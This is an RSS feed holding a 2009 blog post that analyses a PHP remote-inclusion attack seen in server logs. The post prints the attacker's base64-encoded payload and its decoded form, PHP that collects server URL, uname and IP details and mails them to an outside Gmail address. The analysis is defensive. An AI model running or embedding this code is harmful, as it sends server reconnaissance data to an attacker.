<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Computer Solutions Blog &#187; remote inclusion</title>
	<atom:link href="http://www.computersolutions.cn/blog/tag/remote-inclusion/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.computersolutions.cn/blog</link>
	<description>Whats happening at Computer Solutions</description>
	<lastBuildDate>Fri, 13 Jan 2012 02:32:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Some remote exploit analysis</title>
		<link>http://www.computersolutions.cn/blog/2009/04/some-remote-exploit-analysis/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=some-remote-exploit-analysis</link>
		<comments>http://www.computersolutions.cn/blog/2009/04/some-remote-exploit-analysis/#comments</comments>
		<pubDate>Sat, 11 Apr 2009 02:52:34 +0000</pubDate>
		<dc:creator>Lawrence Sheed</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Technical Mumbo Jumbo]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[remote inclusion]]></category>

		<guid isPermaLink="false">http://www.computersolutions.cn/blog/?p=173</guid>
		<description><![CDATA[Foreword - Note that none of our servers are vulnerable to remote inclusion attacks. For the most part, most of the exploits I covered in yesterdays post are common garden php vulnerability scans. Some of them are more interesting though, although more for being encrypted, than anything else. If I take an example from our [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Foreword -</strong> <em>Note that none of our servers are vulnerable to remote inclusion attacks.</em></p>
<p>For the most part, most of the exploits I covered in yesterdays post are common garden php vulnerability scans.<br />
Some of them are more interesting though, although more for being encrypted, than anything else.</p>
<p>If I take an example from our log files:<br />
<span id="more-173"></span></p>
<p>http://www.easy-dizzy.de/joomla/administrator/includes/js/ThemeOffice/copyright.txt</p>
<p>This returns an encrypted string.<br />
Its fairly easy to see whats been returned in that, merely by changing the eval to an echo.</p>
<pre class="wp-code-highlight prettyprint">
//Edited slightly for width purposes
$lmge = &quot;JGNyZWF0b3I9YmFzZTY0X2RlY29kZSgiWm5Jek0zTm9NMnhzUUdkdFlXb&quot;.
&quot;HNMbU52YlE9PSIpOw0KKCRzYWZlX21vZGUpPygkc2FmZXo9&quot;.
&quot;Ik9OIik6KCRzYWZlej0iT0ZGX0hFSEUiKTsNCiRiYXNlPSJodHRw&quot;.
&quot;Oi8vIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1JFU&quot;.
&quot;VVFU1RfVVJJJ107IA0KJG5hbWUgPSBwaHBfdW5hbWUoKTsgJGl&quot;.
&quot;wID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpOyAkaXAyID0gZ2V0&quot;.
&quot;aG9zdGJ5YWRkcigkX1NFUlZFUltSRU1PVEVfQUREUl0pOyAkc3V&quot;.
&quot;iaiA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsgDQokbXNnID0gIl&quot;.
&quot;xuQkFTRTogJGJhc2VcbnVuYW1lIGE6ICRuYW1lXG5CeXBhc3M6&quot;.
&quot;ICRieXBhc3NlclxuSVA6ICRpcFxuSG9zdDogJGlwMiAkcHdkcyI7D&quot;.
&quot;QokZnJvbSA9IkZyb206ICIuJHdyaXQuIl9fXz0iLiRzYWZlei4iPHRv&quot;.
&quot;b2xAIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIj4iOw0KbWFpbCgg&quot;.
&quot;JGNyZWF0b3IsICRzdWJqLCAkbXNnLCAkZn JvbSk7&quot;; 

//eval(base64_decode($lmge));

//To stop execution, and merely see the script contents we echo it, instead of eval..
echo (base64_decode($lmge));
exit;
</pre>
<p>This returns this:</p>
<pre class="wp-code-highlight prettyprint">
$creator=base64_decode(&quot;ZnIzM3NoM2xsQGdtYWlsLmNvbQ==&quot;); 

($safe_mode)?($safez=&quot;ON&quot;):($safez=&quot;OFF_HEHE&quot;);
$base=&quot;http://&quot;.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$name = php_uname(); $ip = getenv(&quot;REMOTE_ADDR&quot;); $ip2 = gethostbyaddr($_SERVER[REMOTE_ADDR]); $subj = $_SERVER['HTTP_HOST'];
$msg = &quot;\nBASE: $base\nuname a: $name\nBypass: $bypasser\nIP: $ip\nHost: $ip2 $pwds&quot;;
$from =&quot;From: &quot;.$writ.&quot;___=&quot;.$safez.&quot;&lt;tool@&quot;.$_SERVER['HTTP_HOST'].&quot;&gt;&quot;;
mail( $creator, $subj, $msg, $from);
</pre>
<p>So in this case we can see the attacker wants us to email him our server details, what url worked for the exploit, and a few various php details.</p>
<p>If we look at the email account he wants to email to we can see its a google account.</p>
<pre class="wp-code-highlight prettyprint">
echo base64_decode(&quot;ZnIzM3NoM2xsQGdtYWlsLmNvbQ==&quot;);   //returns fr33sh3ll@gmail.com
</pre>
<p>Google has been notified about that account.<br />
All in all, slightly more interesting than the usual!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.computersolutions.cn/blog/2009/04/some-remote-exploit-analysis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

